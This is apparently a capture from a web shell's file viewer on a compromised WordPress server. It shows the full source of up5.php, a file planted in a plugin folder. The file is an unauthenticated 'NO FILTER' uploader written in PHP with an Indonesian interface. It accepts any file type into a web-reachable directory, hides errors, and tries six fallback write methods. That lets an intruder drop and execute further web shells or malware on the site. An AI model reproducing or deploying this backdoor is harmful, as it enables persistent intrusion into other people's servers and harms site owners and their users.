HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux acmehomecare 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: www-data (33)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/plugins/yteam/m/up5.php
<?php
/**
 * UNIVERSAL FILE UPLOAD - NO FILTER
 * Upload di folder yang sama
 */

ini_set('display_errors', 0); // Matikan display error untuk production
error_reporting(0);

define('UPLOAD_DIR', __DIR__ . '/');
define('MAX_SIZE', 999 * 1024 * 1024);

class UniversalUploader {
    private $file;
    private $error = '';
    private $success = false;
    private $method = '';
    private $savedPath = '';
    
    private function method1_moveUploadedFile($tmpName, $destination) {
        if (@move_uploaded_file($tmpName, $destination)) {
            $this->method = "move_uploaded_file";
            return true;
        }
        return false;
    }
    
    private function method2_filePutContents($tmpName, $destination) {
        $data = @file_get_contents($tmpName);
        if ($data !== false && @file_put_contents($destination, $data) !== false) {
            $this->method = "file_put_contents";
            return true;
        }
        return false;
    }
    
    private function method3_copy($tmpName, $destination) {
        if (@copy($tmpName, $destination)) {
            $this->method = "copy";
            return true;
        }
        return false;
    }
    
    private function method4_fwrite($tmpName, $destination) {
        $source = @fopen($tmpName, 'rb');
        if (!$source) return false;
        
        $dest = @fopen($destination, 'wb');
        if (!$dest) {
            @fclose($source);
            return false;
        }
        
        while (!feof($source)) {
            @fwrite($dest, fread($source, 8192));
        }
        
        @fclose($source);
        @fclose($dest);
        
        $this->method = "fwrite";
        return true;
    }
    
    private function method5_streamCopy($tmpName, $destination) {
        $source = @fopen($tmpName, 'r');
        if (!$source) return false;
        
        $dest = @fopen($destination, 'w');
        if (!$dest) {
            @fclose($source);
            return false;
        }
        
        $result = @stream_copy_to_stream($source, $dest);
        
        @fclose($source);
        @fclose($dest);
        
        if ($result !== false) {
            $this->method = "stream_copy_to_stream";
            return true;
        }
        return false;
    }
    
    private function method6_rename($tmpName, $destination) {
        if (@rename($tmpName, $destination)) {
            $this->method = "rename";
            return true;
        }
        return false;
    }
    
    private function validateFile() {
        if ($this->file['error'] !== UPLOAD_ERR_OK) {
            $errors = [
                UPLOAD_ERR_INI_SIZE => 'File melebihi upload_max_filesize di php.ini',
                UPLOAD_ERR_FORM_SIZE => 'File melebihi MAX_FILE_SIZE di form',
                UPLOAD_ERR_PARTIAL => 'File hanya terupload sebagian',
                UPLOAD_ERR_NO_FILE => 'Tidak ada file yang diupload',
                UPLOAD_ERR_NO_TMP_DIR => 'Folder temporary tidak ditemukan',
                UPLOAD_ERR_CANT_WRITE => 'Gagal menulis file ke disk',
                UPLOAD_ERR_EXTENSION => 'Upload dihentikan oleh extension'
            ];
            $this->error = $errors[$this->file['error']] ?? 'Unknown error';
            return false;
        }
        
        if ($this->file['size'] > MAX_SIZE) {
            $this->error = 'File terlalu besar (max ' . (MAX_SIZE/1024/1024) . 'MB)';
            return false;
        }
        
        return true;
    }
    
    private function generateFileName() {
        $ext = strtolower(pathinfo($this->file['name'], PATHINFO_EXTENSION));
        if (empty($ext)) $ext = 'bin';
        
        $baseName = pathinfo($this->file['name'], PATHINFO_FILENAME);
        $baseName = preg_replace('/[^a-zA-Z0-9_-]/', '_', $baseName);
        $baseName = substr($baseName, 0, 50);
        if (empty($baseName)) $baseName = 'file';
        
        return $baseName . '_' . date('YmdHis') . '_' . bin2hex(random_bytes(4)) . '.' . $ext;
    }
    
    public function upload($fileData) {
        $this->file = $fileData;
        
        if (!$this->validateFile()) {
            return false;
        }
        
        $tmpName = $this->file['tmp_name'];
        $fileName = $this->generateFileName();
        $destination = UPLOAD_DIR . $fileName;
        
        $methods = [
            [$this, 'method1_moveUploadedFile'],
            [$this, 'method2_filePutContents'],
            [$this, 'method5_streamCopy'],
            [$this, 'method4_fwrite'],
            [$this, 'method3_copy'],
            [$this, 'method6_rename']
        ];
        
        foreach ($methods as $method) {
            if (call_user_func($method, $tmpName, $destination)) {
                @chmod($destination, 0644);
                $this->success = true;
                $this->savedPath = $fileName;
                return true;
            }
        }
        
        $this->error = 'Semua metode upload gagal. Cek permission folder!';
        return false;
    }
    
    public function getMethod() { return $this->method; }
    public function getError() { return $this->error; }
    public function getSavedPath() { return $this->savedPath; }
    public function isSuccess() { return $this->success; }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) {
    $uploader = new UniversalUploader();
    
    if ($uploader->upload($_FILES['ufile'])) {
        $fileName = $uploader->getSavedPath();
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="UTF-8">
            <title>Upload Berhasil</title>
            <style>
                body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
                .success { background: #d4edda; border: 1px solid #c3e6cb; padding: 20px; border-radius: 5px; }
                .info { margin: 10px 0; }
                a { color: #007bff; text-decoration: none; }
                a:hover { text-decoration: underline; }
                .btn { display: inline-block; margin-top: 20px; padding: 10px 20px; background: #007bff; color: white; text-decoration: none; border-radius: 5px; }
            </style>
        </head>
        <body>
            <div class="success">
                <h2>✅ Upload Berhasil!</h2>
                <div class="info"><strong>Metode:</strong> <?= htmlspecialchars($uploader->getMethod()) ?></div>
                <div class="info"><strong>File:</strong> <?= htmlspecialchars($fileName) ?></div>
                <div class="info"><strong>Ukuran:</strong> <?= number_format($_FILES['ufile']['size'] / 1024, 2) ?> KB</div>
                <div class="info">
                    <strong>Link:</strong> 
                    <a href="<?= htmlspecialchars($fileName) ?>" target="_blank"><?= htmlspecialchars($fileName) ?></a>
                </div>
                <a href="?" class="btn">Upload File Lain</a>
            </div>
        </body>
        </html>
        <?php
        exit;
    } else {
        $errorMsg = $uploader->getError();
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="UTF-8">
            <title>Upload Gagal</title>
            <style>
                body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
                .error { background: #f8d7da; border: 1px solid #f5c6cb; padding: 20px; border-radius: 5px; color: #721c24; }
                .btn { display: inline-block; margin-top: 20px; padding: 10px 20px; background: #dc3545; color: white; text-decoration: none; border-radius: 5px; }
            </style>
        </head>
        <body>
            <div class="error">
                <h2>❌ Upload Gagal!</h2>
                <p><?= htmlspecialchars($errorMsg) ?></p>
                <a href="?" class="btn">Coba Lagi</a>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Universal Upload - NO FILTER</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 15px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 10px;
        }
        .subtitle {
            text-align: center;
            color: #666;
            margin-bottom: 30px;
            font-size: 14px;
        }
        .upload-area {
            border: 2px dashed #667eea;
            border-radius: 10px;
            padding: 40px;
            text-align: center;
            background: #f8f9ff;
            transition: all 0.3s;
            cursor: pointer;
        }
        .upload-area:hover { border-color: #764ba2; background: #f0f2ff; }
        .upload-area.dragover { border-color: #764ba2; background: #e8ebff; transform: scale(1.02); }
        .upload-icon { font-size: 48px; margin-bottom: 15px; }
        input[type="file"] { display: none; }
        .file-info {
            margin-top: 15px;
            padding: 10px;
            background: #e8ebff;
            border-radius: 5px;
            display: none;
        }
        .btn {
            width: 100%;
            padding: 15px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            margin-top: 20px;
            transition: transform 0.2s;
        }
        .btn:hover { transform: translateY(-2px); }
        .btn:disabled { opacity: 0.6; cursor: not-allowed; }
        .info-box {
            background: #fff3cd;
            border: 1px solid #ffc107;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 13px;
        }
        .progress {
            width: 100%;
            height: 6px;
            background: #e0e0e0;
            border-radius: 3px;
            margin-top: 15px;
            overflow: hidden;
            display: none;
        }
        .progress-bar {
            height: 100%;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            width: 0%;
            transition: width 0.3s;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>📤 Universal Upload</h1>
        <p class="subtitle">NO FILTER - Upload file apapun!</p>
        
        <form method="POST" enctype="multipart/form-data" id="uploadForm">
            <div class="upload-area" id="uploadArea">
                <div class="upload-icon">📁</div>
                <h3>Klik atau Drag & Drop File</h3>
                <p style="color: #999; margin-top: 10px;">Semua jenis file diterima</p>
                <input type="file" name="ufile" id="fileInput" required>
            </div>
            
            <div class="file-info" id="fileInfo"></div>
            <div class="progress" id="progress">
                <div class="progress-bar" id="progressBar"></div>
            </div>
            
            <button type="submit" class="btn" id="uploadBtn">UPLOAD SEKARANG</button>
        </form>
        
        <div class="info-box">
            <strong>🚀 Fitur:</strong><br>
            ✅ Semua file diterima (exe, zip, apk, dll)<br>
            ✅ Upload di folder yang sama<br>
            ✅ 6+ metode upload otomatis
        </div>
    </div>

    <script>
        const uploadArea = document.getElementById('uploadArea');
        const fileInput = document.getElementById('fileInput');
        const fileInfo = document.getElementById('fileInfo');
        const uploadForm = document.getElementById('uploadForm');
        const uploadBtn = document.getElementById('uploadBtn');
        const progress = document.getElementById('progress');
        const progressBar = document.getElementById('progressBar');

        uploadArea.addEventListener('click', () => fileInput.click());

        fileInput.addEventListener('change', function() {
            if (this.files.length > 0) {
                const file = this.files[0];
                const size = (file.size / 1024).toFixed(2);
                fileInfo.innerHTML = `<strong>📄 ${file.name}</strong><br>Ukuran: ${size} KB`;
                fileInfo.style.display = 'block';
            }
        });

        ['dragover', 'dragleave', 'drop'].forEach(eventName => {
            uploadArea.addEventListener(eventName, (e) => {
                e.preventDefault();
                e.stopPropagation();
            });
        });

        uploadArea.addEventListener('dragover', () => uploadArea.classList.add('dragover'));
        uploadArea.addEventListener('dragleave', () => uploadArea.classList.remove('dragover'));

        uploadArea.addEventListener('drop', (e) => {
            uploadArea.classList.remove('dragover');
            if (e.dataTransfer.files.length > 0) {
                fileInput.files = e.dataTransfer.files;
                const file = e.dataTransfer.files[0];
                const size = (file.size / 1024).toFixed(2);
                fileInfo.innerHTML = `<strong>📄 ${file.name}</strong><br>Ukuran: ${size} KB`;
                fileInfo.style.display = 'block';
            }
        });

        uploadForm.addEventListener('submit', function() {
            uploadBtn.disabled = true;
            uploadBtn.textContent = 'UPLOADING...';
            progress.style.display = 'block';
            
            let width = 0;
            const interval = setInterval(() => {
                width += 10;
                progressBar.style.width = width + '%';
                if (width >= 90) clearInterval(interval);
            }, 100);
        });
    </script>
</body>
</html>